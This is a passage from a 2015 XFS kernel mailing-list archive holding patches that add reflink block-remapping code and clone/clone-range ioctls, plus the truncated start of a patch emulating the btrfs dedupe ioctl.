StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194041 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Reflink extents from one file to another; that is to say, iteratively remove the mappings from the destination file, copy the mappings from the source file to the destination file, and increment the reference count of all the blocks that got remapped. Signed-off-by: Darrick J. Wong --- fs/xfs/xfs_reflink.c | 511 ++++++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_reflink.h | 3 2 files changed, 514 insertions(+) diff --git a/fs/xfs/xfs_reflink.c b/fs/xfs/xfs_reflink.c index f5eed2f..ac81b02 100644 --- a/fs/xfs/xfs_reflink.c +++ b/fs/xfs/xfs_reflink.c @@ -942,3 +942,514 @@ out_error: trace_xfs_reflink_finish_fork_buf_error(ip, error, _RET_IP_); return error; } + +/* + * Reflinking (Block) Ranges of Two Files Together + * + * First, ensure that the reflink flag is set on both inodes. The flag is an + * optimization to avoid unnecessary refcount btree lookups in the write path. + * + * Now we can iteratively remap the range of extents (and holes) in src to the + * corresponding ranges in dest. Let drange and srange denote the ranges of + * logical blocks in dest and src touched by the reflink operation. + * + * While the length of drange is greater than zero, + * - Read src's bmbt at the start of srange ("imap") + * - If imap doesn't exist, make imap appear to start at the end of srange + * with zero length. + * - If imap starts before srange, advance imap to start at srange. + * - If imap goes beyond srange, truncate imap to end at the end of srange. + * - Punch (imap start - srange start + imap len) blocks from dest at + * offset (drange start). + * - If imap points to a real range of pblks, + * > Increase the refcount of the imap's pblks + * > Map imap's pblks into dest at the offset + * (drange start + imap start - srange start) + * - Advance drange and srange by (imap start - srange start + imap len) + * + * Finally, if the reflink made dest longer, update both the in-core and + * on-disk file sizes. + * + * ASCII Art Demonstration: + * + * Let's say we want to reflink this source file: + * + * ----SSSSSSS-SSSSS----SSSSSS (src file) + * <--------------------> + * + * into this destination file: + * + * --DDDDDDDDDDDDDDDDDDD--DDD (dest file) + * <--------------------> + * '-' means a hole, and 'S' and 'D' are written blocks in the src and dest. + * Observe that the range has different logical offsets in either file. + * + * Consider that the first extent in the source file doesn't line up with our + * reflink range. Unmapping and remapping are separate operations, so we can + * unmap more blocks from the destination file than we remap. + * + * ----SSSSSSS-SSSSS----SSSSSS + * <-------> + * --DDDDD---------DDDDD--DDD + * <-------> + * + * Now remap the source extent into the destination file: + * + * ----SSSSSSS-SSSSS----SSSSSS + * <-------> + * --DDDDD--SSSSSSSDDDDD--DDD + * <-------> + * + * Do likewise with the second hole and extent in our range. Holes in the + * unmap range don't affect our operation. + * + * ----SSSSSSS-SSSSS----SSSSSS + * <----> + * --DDDDD--SSSSSSS-SSSSS-DDD + * <----> + * + * Finally, unmap and remap part of the third extent. This will increase the + * size of the destination file. + * + * ----SSSSSSS-SSSSS----SSSSSS + * <-----> + * --DDDDD--SSSSSSS-SSSSS----SSS + * <-----> + * + * Once we update the destination file's i_size, we're done. + */ + +/* + * Ensure the reflink bit is set in both inodes. + */ +STATIC int +set_inode_reflink_flag( + struct xfs_inode *src, + struct xfs_inode *dest) +{ + struct xfs_mount *mp = src->i_mount; + int error; + struct xfs_trans *tp; + + if (xfs_is_reflink_inode(src) && xfs_is_reflink_inode(dest)) + return 0; + + tp = xfs_trans_alloc(mp, XFS_TRANS_SETATTR_NOT_SIZE); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ichange, 0, 0); + + /* + * check for running out of space + */ + if (error) { + /* + * Free the transaction structure. + */ + ASSERT(error == -ENOSPC || XFS_FORCED_SHUTDOWN(mp)); + goto out_cancel; + } + + /* Lock both files against IO */ + if (src->i_ino == dest->i_ino) + xfs_ilock(src, XFS_ILOCK_EXCL); + else + xfs_lock_two_inodes(src, dest, XFS_ILOCK_EXCL); + + if (!xfs_is_reflink_inode(src)) { + trace_xfs_reflink_set_inode_flag(src); + xfs_trans_ijoin(tp, src, XFS_ILOCK_EXCL); + src->i_d.di_flags2 |= XFS_DIFLAG2_REFLINK; + xfs_trans_log_inode(tp, src, XFS_ILOG_CORE); + } else + xfs_iunlock(src, XFS_ILOCK_EXCL); + + if (src->i_ino == dest->i_ino) + goto commit_flags; + + if (!xfs_is_reflink_inode(dest)) { + trace_xfs_reflink_set_inode_flag(dest); + xfs_trans_ijoin(tp, dest, XFS_ILOCK_EXCL); + dest->i_d.di_flags2 |= XFS_DIFLAG2_REFLINK; + xfs_trans_log_inode(tp, dest, XFS_ILOG_CORE); + } else + xfs_iunlock(dest, XFS_ILOCK_EXCL); + +commit_flags: + error = xfs_trans_commit(tp); + if (error) + goto out_error; + return error; + +out_cancel: + xfs_trans_cancel(tp); +out_error: + trace_xfs_reflink_set_inode_flag_error(dest, error, _RET_IP_); + return error; +} + +/* + * Update destination inode size, if necessary. + */ +STATIC int +update_dest_isize( + struct xfs_inode *dest, + xfs_off_t newlen) +{ + struct xfs_mount *mp = dest->i_mount; + struct xfs_trans *tp; + int error; + + if (newlen <= i_size_read(VFS_I(dest))) + return 0; + + tp = xfs_trans_alloc(mp, XFS_TRANS_SETATTR_SIZE); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_itruncate, 0, 0); + + /* + * check for running out of space + */ + if (error) { + /* + * Free the transaction structure. + */ + ASSERT(error == -ENOSPC || XFS_FORCED_SHUTDOWN(mp)); + goto out_cancel; + } + + xfs_ilock(dest, XFS_ILOCK_EXCL); + xfs_trans_ijoin(tp, dest, XFS_ILOCK_EXCL); + + trace_xfs_reflink_update_inode_size(dest, newlen); + i_size_write(VFS_I(dest), newlen); + dest->i_d.di_size = newlen; + xfs_trans_log_inode(tp, dest, XFS_ILOG_CORE); + + error = xfs_trans_commit(tp); + if (error) + goto out_error; + return error; + +out_cancel: + xfs_trans_cancel(tp); +out_error: + trace_xfs_reflink_update_inode_size_error(dest, error, _RET_IP_); + return error; +} + +/* + * Punch a range of file blocks, assuming that there's no remapping in + * progress and that the file is eligible for reflink. + * + * XXX: Could we just use xfs_free_file_space? + */ +STATIC int +punch_range( + struct xfs_inode *dest, + xfs_fileoff_t off, + xfs_filblks_t len) +{ + struct xfs_mount *mp = dest->i_mount; + int error, done; + uint resblks; + struct xfs_trans *tp; + xfs_fsblock_t firstfsb; + struct xfs_bmap_free free_list; + int committed; + + /* + * free file space until done or until there is an error + */ + trace_xfs_reflink_punch_range(dest, off, len); + resblks = XFS_DIOSTRAT_SPACE_RES(mp, 0); + error = done = 0; + while (!error && !done) { + /* + * allocate and setup the transaction. Allow this + * transaction to dip into the reserve blocks to ensure + * the freeing of the space succeeds at ENOSPC. + */ + tp = xfs_trans_alloc(mp, XFS_TRANS_DIOSTRAT); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_write, resblks, 0); + + /* + * check for running out of space + */ + if (error) { + /* + * Free the transaction structure. + */ + ASSERT(error == -ENOSPC || XFS_FORCED_SHUTDOWN(mp)); + goto out_cancel; + } + xfs_ilock(dest, XFS_ILOCK_EXCL); + error = xfs_trans_reserve_quota(tp, mp, + dest->i_udquot, dest->i_gdquot, dest->i_pdquot, + resblks, 0, XFS_QMOPT_RES_REGBLKS); + if (error) + goto out_cancel; + + xfs_trans_ijoin(tp, dest, XFS_ILOCK_EXCL); + + /* + * issue the bunmapi() call to free the blocks + */ + xfs_bmap_init(&free_list, &firstfsb); + error = xfs_bunmapi(tp, dest, off, len, + 0, 2, &firstfsb, &free_list, &done); + if (error) + goto out_freelist; + + /* + * complete the transaction + */ + error = xfs_bmap_finish(&tp, &free_list, &committed); + if (error) + goto out_freelist; + + error = xfs_trans_commit(tp); + } + if (error) + goto out_error; + + return error; +out_freelist: + xfs_bmap_cancel(&free_list); +out_cancel: + xfs_trans_cancel(tp); +out_error: + trace_xfs_reflink_punch_range_error(dest, error, _RET_IP_); + return error; +} + +/* + * Reflink a continuous range of blocks. + */ +STATIC int +remap_one_range( + struct xfs_inode *dest, + struct xfs_bmbt_irec *imap, + xfs_fileoff_t destoff) +{ + struct xfs_mount *mp = dest->i_mount; + int error; + xfs_agnumber_t agno; + xfs_agblock_t agbno; + struct xfs_trans *tp; + uint resblks; + struct xfs_buf *agbp; + xfs_fsblock_t firstfsb; + struct xfs_bmap_free free_list; + struct xfs_bmbt_irec imap_tmp; + int nimaps; + int committed; + + resblks = XFS_DIOSTRAT_SPACE_RES(mp, 1); + tp = xfs_trans_alloc(mp, XFS_TRANS_DIOSTRAT); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_write, resblks, 0); + /* + * Check for running out of space + */ + if (error) { + /* + * Free the transaction structure. + */ + ASSERT(error == -ENOSPC || XFS_FORCED_SHUTDOWN(mp)); + goto out_cancel; + } + + xfs_ilock(dest, XFS_ILOCK_EXCL); + xfs_trans_ijoin(tp, dest, XFS_ILOCK_EXCL); + + /* Update the refcount tree */ + agno = XFS_FSB_TO_AGNO(mp, imap->br_startblock); + agbno = XFS_FSB_TO_AGBNO(mp, imap->br_startblock); + error = xfs_alloc_read_agf(mp, tp, agno, 0, &agbp); + if (error) + goto out_cancel; + xfs_bmap_init(&free_list, &firstfsb); + error = xfs_refcount_increase(mp, tp, agbp, agno, agbno, + imap->br_blockcount, &free_list); + xfs_trans_brelse(tp, agbp); + if (error) + goto out_freelist; + + /* Add this extent to the destination file */ + trace_xfs_reflink_remap_range(dest, destoff, imap->br_blockcount, + imap->br_startblock); + nimaps = 1; + error = xfs_bmapi_write(tp, dest, destoff, imap->br_blockcount, + XFS_BMAPI_REMAP, &imap->br_startblock, + imap->br_blockcount, &imap_tmp, &nimaps, + &free_list); + if (error) + goto out_freelist; + + /* + * Complete the transaction + */ + error = xfs_bmap_finish(&tp, &free_list, &committed); + if (error) + goto out_freelist; + + error = xfs_trans_commit(tp); + if (error) + goto out_error; + return error; + +out_freelist: + xfs_bmap_cancel(&free_list); +out_cancel: + xfs_trans_cancel(tp); +out_error: + trace_xfs_reflink_remap_range_error(dest, error, _RET_IP_); + return error; +} + +/** + * Iteratively remap one file's extents (and holes) to another's. + */ +#define IMAPNEXT(i) ((i).br_startoff + (i).br_blockcount) +STATIC int +remap_blocks( + struct xfs_inode *src, + xfs_fileoff_t srcoff, + struct xfs_inode *dest, + xfs_fileoff_t destoff, + xfs_filblks_t len) +{ + struct xfs_bmbt_irec imap; + int nimaps; + int error; + xfs_fileoff_t srcioff; + + /* drange = (destoff, destoff + len); srange = (srcoff, srcoff + len) */ + while (len) { + trace_xfs_reflink_main_loop(src, srcoff, len, dest, destoff); + /* Read extent from the source file */ + nimaps = 1; + xfs_ilock(src, XFS_ILOCK_EXCL); + error = xfs_bmapi_read(src, srcoff, len, &imap, &nimaps, 0); + xfs_iunlock(src, XFS_ILOCK_EXCL); + if (error) + break; + + /* + * If imap doesn't exist, pretend that it does just past + * srange. + */ + if (nimaps == 0) { + imap.br_startoff = srcoff + len; + imap.br_startblock = HOLESTARTBLOCK; + imap.br_blockcount = 0; + imap.br_state = XFS_EXT_INVALID; + } + trace_xfs_reflink_read_iomap(src, srcoff, len, XFS_IO_FORKED, + &imap); + + /* If imap starts before srange, advance it to start there */ + if (imap.br_startoff < srcoff) { + imap.br_blockcount -= srcoff - imap.br_startoff; + imap.br_startoff = srcoff; + } + + /* If imap ends after srange, truncate it to match srange */ + if (IMAPNEXT(imap) > srcoff + len) + imap.br_blockcount -= IMAPNEXT(imap) - (srcoff + len); + + srcioff = imap.br_startoff - srcoff; + + /* Punch logical blocks from drange */ + error = punch_range(dest, destoff, + srcioff + imap.br_blockcount); + if (error) + break; + + /* + * If imap points to real blocks, increase refcount and map; + * otherwise, skip it. + */ + if (imap.br_startblock == HOLESTARTBLOCK || + imap.br_startblock == DELAYSTARTBLOCK || + ISUNWRITTEN(&imap)) + goto advloop; + + error = remap_one_range(dest, &imap, destoff + srcioff); + if (error) + break; +advloop: + /* Advance drange/srange */ + srcoff += srcioff + imap.br_blockcount; + destoff += srcioff + imap.br_blockcount; + len -= srcioff + imap.br_blockcount; + } + + return error; +} +#undef IMAPNEXT + +/** + * xfs_reflink() - link a range of blocks from one inode to another + * + * @src: Inode to clone from + * @srcoff: Offset within source to start clone from + * @dest: Inode to clone to + * @destoff: Offset within @inode to start clone + * @len: Original length, passed by user, of range to clone + */ +int +xfs_reflink( + struct xfs_inode *src, + xfs_off_t srcoff, + struct xfs_inode *dest, + xfs_off_t destoff, + xfs_off_t len) +{ + struct xfs_mount *mp = src->i_mount; + xfs_fileoff_t sfsbno, dfsbno; + xfs_filblks_t fsblen; + int error; + + if (!xfs_sb_version_hasreflink(&mp->m_sb)) + return -EOPNOTSUPP; + + if (XFS_FORCED_SHUTDOWN(mp)) + return -EIO; + + /* Don't reflink realtime inodes */ + if (XFS_IS_REALTIME_INODE(src) || XFS_IS_REALTIME_INODE(dest)) + return -EINVAL; + + trace_xfs_reflink_range(src, srcoff, len, dest, destoff); + + /* Lock both files against IO */ + if (src->i_ino == dest->i_ino) { + xfs_ilock(src, XFS_IOLOCK_EXCL); + xfs_ilock(src, XFS_MMAPLOCK_EXCL); + } else { + xfs_lock_two_inodes(src, dest, XFS_IOLOCK_EXCL); + xfs_lock_two_inodes(src, dest, XFS_MMAPLOCK_EXCL); + } + + error = set_inode_reflink_flag(src, dest); + if (error) + goto out_error; + + dfsbno = XFS_B_TO_FSBT(mp, destoff); + sfsbno = XFS_B_TO_FSBT(mp, srcoff); + fsblen = XFS_B_TO_FSB(mp, len); + error = remap_blocks(src, sfsbno, dest, dfsbno, fsblen); + if (error) + goto out_error; + + error = update_dest_isize(dest, destoff + len); + +out_error: + xfs_iunlock(src, XFS_MMAPLOCK_EXCL); + xfs_iunlock(src, XFS_IOLOCK_EXCL); + if (src->i_ino != dest->i_ino) { + xfs_iunlock(dest, XFS_MMAPLOCK_EXCL); + xfs_iunlock(dest, XFS_IOLOCK_EXCL); + } + if (error) + trace_xfs_reflink_range_error(dest, error, _RET_IP_); + return error; +} diff --git a/fs/xfs/xfs_reflink.h b/fs/xfs/xfs_reflink.h index ce00cf6..b633824 100644 --- a/fs/xfs/xfs_reflink.h +++ b/fs/xfs/xfs_reflink.h @@ -44,4 +44,7 @@ extern int xfs_reflink_finish_fork_buf(struct xfs_inode *ip, struct xfs_buf *bp, xfs_fileoff_t fileoff, struct xfs_trans *tp, int write_error, xfs_fsblock_t old_fsbno); +extern int xfs_reflink(struct xfs_inode *src, xfs_off_t srcoff, + struct xfs_inode *dest, xfs_off_t destoff, xfs_off_t len); + #endif /* __XFS_REFLINK_H */ From darrick.wong@oracle.com Wed Oct 7 00:00:50 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CACCA7FAA for ; Wed, 7 Oct 2015 00:00:50 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3E30BAC007 for ; Tue, 6 Oct 2015 22:00:50 -0700 (PDT) X-ASG-Debug-ID: 1444194047-04cbb03f150d710001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id FFz4zCDg0kD0yAA8 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:00:48 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9750kTi014357 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:00:47 GMT Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236]) by userv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t9750ksR004011 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:00:46 GMT Received: from abhmp0012.oracle.com (abhmp0012.oracle.com [141.146.116.18]) by aserv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t9750k4U007284; Wed, 7 Oct 2015 05:00:46 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:00:45 -0700 Subject: [PATCH 51/58] xfs: add clone file and clone range ioctls From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 51/58] xfs: add clone file and clone range ioctls To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:00:44 -0700 Message-ID: <20151007050044.30457.38096.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0021.oracle.com [156.151.31.71] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194048 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Define two ioctls which allow userspace to reflink a range of blocks between two files or to reflink one file's contents to another. These ioctls must have the same ABI as the btrfs ioctls with similar names. Signed-off-by: Darrick J. Wong --- fs/xfs/libxfs/xfs_fs.h | 11 +++ fs/xfs/xfs_ioctl.c | 192 ++++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_ioctl32.c | 2 + 3 files changed, 205 insertions(+) diff --git a/fs/xfs/libxfs/xfs_fs.h b/fs/xfs/libxfs/xfs_fs.h index b6ee5d8..2c8cd04 100644 --- a/fs/xfs/libxfs/xfs_fs.h +++ b/fs/xfs/libxfs/xfs_fs.h @@ -561,6 +561,17 @@ typedef struct xfs_swapext #define XFS_IOC_GOINGDOWN _IOR ('X', 125, __uint32_t) /* XFS_IOC_GETFSUUID ---------- deprecated 140 */ +/* reflink ioctls; these MUST match the btrfs ioctl definitions */ +/* from struct btrfs_ioctl_clone_range_args */ +struct xfs_clone_args { + __s64 src_fd; + __u64 src_offset; + __u64 src_length; + __u64 dest_offset; +}; + +#define XFS_IOC_CLONE _IOW (0x94, 9, int) +#define XFS_IOC_CLONE_RANGE _IOW (0x94, 13, struct xfs_clone_args) #ifndef HAVE_BBMACROS /* diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index ea7d85a..ce4812e 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -40,6 +40,7 @@ #include "xfs_symlink.h" #include "xfs_trans.h" #include "xfs_pnfs.h" +#include "xfs_reflink.h" #include #include @@ -48,6 +49,8 @@ #include #include #include +#include +#include /* * xfs_find_handle maps from userspace xfs_fsop_handlereq structure to @@ -1503,6 +1506,153 @@ xfs_ioc_swapext( } /* + * Flush all file writes out to disk. + */ +static int +wait_for_io( + struct inode *inode, + loff_t offset, + size_t len) +{ + loff_t rounding; + loff_t ioffset; + loff_t iendoffset; + loff_t bs; + int ret; + + bs = inode->i_sb->s_blocksize; + inode_dio_wait(inode); + + rounding = max_t(xfs_off_t, bs, PAGE_CACHE_SIZE); + ioffset = round_down(offset, rounding); + iendoffset = round_up(offset + len, rounding) - 1; + ret = filemap_write_and_wait_range(inode->i_mapping, ioffset, + iendoffset); + return ret; +} + +/* + * For reflink, validate the VFS parameters, convert them into the XFS + * equivalents, and then call the internal reflink function. + */ +STATIC int +xfs_ioctl_reflink( + struct file *file_in, + loff_t pos_in, + struct file *file_out, + loff_t pos_out, + size_t len) +{ + struct inode *inode_in; + struct inode *inode_out; + ssize_t ret; + loff_t bs; + loff_t isize; + int same_inode; + loff_t blen; + + if (len == 0) + return 0; + else if (len != ~0ULL && (ssize_t)len < 0) + return -EINVAL; + + /* Do we have the correct permissions? */ + if (!(file_in->f_mode & FMODE_READ) || + !(file_out->f_mode & FMODE_WRITE) || + (file_out->f_flags & O_APPEND)) + return -EPERM; + ret = security_file_permission(file_out, MAY_WRITE); + if (ret) + return ret; + + inode_in = file_inode(file_in); + inode_out = file_inode(file_out); + bs = inode_out->i_sb->s_blocksize; + + /* Don't touch certain kinds of inodes */ + if (IS_IMMUTABLE(inode_out)) + return -EPERM; + if (IS_SWAPFILE(inode_in) || + IS_SWAPFILE(inode_out)) + return -ETXTBSY; + + /* Reflink only works within this filesystem. */ + if (inode_in->i_sb != inode_out->i_sb || + file_in->f_path.mnt != file_out->f_path.mnt) + return -EXDEV; + same_inode = (inode_in->i_ino == inode_out->i_ino); + + /* Don't reflink dirs, pipes, sockets... */ + if (S_ISDIR(inode_in->i_mode) || S_ISDIR(inode_out->i_mode)) + return -EISDIR; + if (S_ISFIFO(inode_in->i_mode) || S_ISFIFO(inode_out->i_mode)) + return -ESPIPE; + if (!S_ISREG(inode_in->i_mode) || !S_ISREG(inode_out->i_mode)) + return -EINVAL; + + /* Are we going all the way to the end? */ + isize = i_size_read(inode_in); + if (isize == 0) + return 0; + if (len == ~0ULL) + len = isize - pos_in; + + /* Ensure offsets don't wrap and the input is inside i_size */ + if (pos_in + len < pos_in || pos_out + len < pos_out || + pos_in + len > isize) + return -EINVAL; + + /* If we're linking to EOF, continue to the block boundary. */ + if (pos_in + len == isize) + blen = ALIGN(isize, bs) - pos_in; + else + blen = len; + + /* Only reflink if we're aligned to block boundaries */ + if (!IS_ALIGNED(pos_in, bs) || !IS_ALIGNED(pos_in + blen, bs) || + !IS_ALIGNED(pos_out, bs) || !IS_ALIGNED(pos_out + blen, bs)) + return -EINVAL; + + /* Don't allow overlapped reflink within the same file */ + if (same_inode && pos_out + blen > pos_in && pos_out < pos_in + blen) + return -EINVAL; + + ret = mnt_want_write_file(file_out); + if (ret) + return ret; + + /* Wait for the completion of any pending IOs on srcfile */ + ret = wait_for_io(inode_in, pos_in, len); + if (ret) + goto out_unlock; + ret = wait_for_io(inode_out, pos_out, len); + if (ret) + goto out_unlock; + + ret = xfs_reflink(XFS_I(inode_in), pos_in, XFS_I(inode_out), + pos_out, len); + if (ret < 0) + goto out_unlock; + + /* Truncate the page cache so we don't see stale data */ + truncate_inode_pages_range(&inode_out->i_data, pos_out, + PAGE_CACHE_ALIGN(pos_out + len) - 1); + +out_unlock: + if (ret == 0) { + fsnotify_access(file_in); + add_rchar(current, len); + fsnotify_modify(file_out); + add_wchar(current, len); + } + inc_syscr(current); + inc_syscw(current); + + mnt_drop_write_file(file_out); + return ret; +} + +/* * Note: some of the ioctl's return positive numbers as a * byte count indicating success, such as readlink_by_handle. * So we don't "sign flip" like most other routines. This means @@ -1800,6 +1950,48 @@ xfs_file_ioctl( return xfs_icache_free_eofblocks(mp, &keofb); } + case XFS_IOC_CLONE: { + struct fd src; + + src = fdget(p); + if (!src.file) + return -EBADF; + + trace_xfs_ioctl_clone(file_inode(src.file), file_inode(filp)); + + error = xfs_ioctl_reflink(src.file, 0, filp, 0, ~0ULL); + fdput(src); + if (error > 0) + error = 0; + + return error; + } + + case XFS_IOC_CLONE_RANGE: { + struct fd src; + struct xfs_clone_args args; + + if (copy_from_user(&args, arg, sizeof(args))) + return -EFAULT; + src = fdget(args.src_fd); + if (!src.file) + return -EBADF; + if (args.src_length == 0) + args.src_length = ~0ULL; + + trace_xfs_ioctl_clone_range(file_inode(src.file), + args.src_offset, args.src_length, + file_inode(filp), args.dest_offset); + + error = xfs_ioctl_reflink(src.file, args.src_offset, filp, + args.dest_offset, args.src_length); + fdput(src); + if (error > 0) + error = 0; + + return error; + } + default: return -ENOTTY; } diff --git a/fs/xfs/xfs_ioctl32.c b/fs/xfs/xfs_ioctl32.c index b88bdc8..76d8729 100644 --- a/fs/xfs/xfs_ioctl32.c +++ b/fs/xfs/xfs_ioctl32.c @@ -558,6 +558,8 @@ xfs_file_compat_ioctl( case XFS_IOC_GOINGDOWN: case XFS_IOC_ERROR_INJECTION: case XFS_IOC_ERROR_CLEARALL: + case XFS_IOC_CLONE: + case XFS_IOC_CLONE_RANGE: return xfs_file_ioctl(filp, cmd, p); #ifndef BROKEN_X86_ALIGNMENT /* These are handled fine if no alignment issues */ From darrick.wong@oracle.com Wed Oct 7 00:00:57 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1ECE27FAA for ; Wed, 7 Oct 2015 00:00:57 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id B18D4AC006 for ; Tue, 6 Oct 2015 22:00:56 -0700 (PDT) X-ASG-Debug-ID: 1444194054-04bdf020da0e640001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id W7zEqRwch8BgESzR (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:00:54 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9750rXx014409 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:00:53 GMT Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t9750qHI015312 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:00:53 GMT Received: from abhmp0006.oracle.com (abhmp0006.oracle.com [141.146.116.12]) by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t9750qSd004547; Wed, 7 Oct 2015 05:00:52 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:00:52 -0700 Subject: [PATCH 52/58] xfs: emulate the btrfs dedupe extent same ioctl From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 52/58] xfs: emulate the btrfs dedupe extent same ioctl To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:00:51 -0700 Message-ID: <20151007050051.30457.45420.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194054 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Emulate the BTRFS_IOC_EXTENT_SAME ioctl. This operation is similar to clone_range, but the kernel must confirm that the contents of the two extents are identical before performing the reflink. Signed-off-by: Darrick J. Wong --- fs/xfs/libxfs/xfs_fs.h | 30 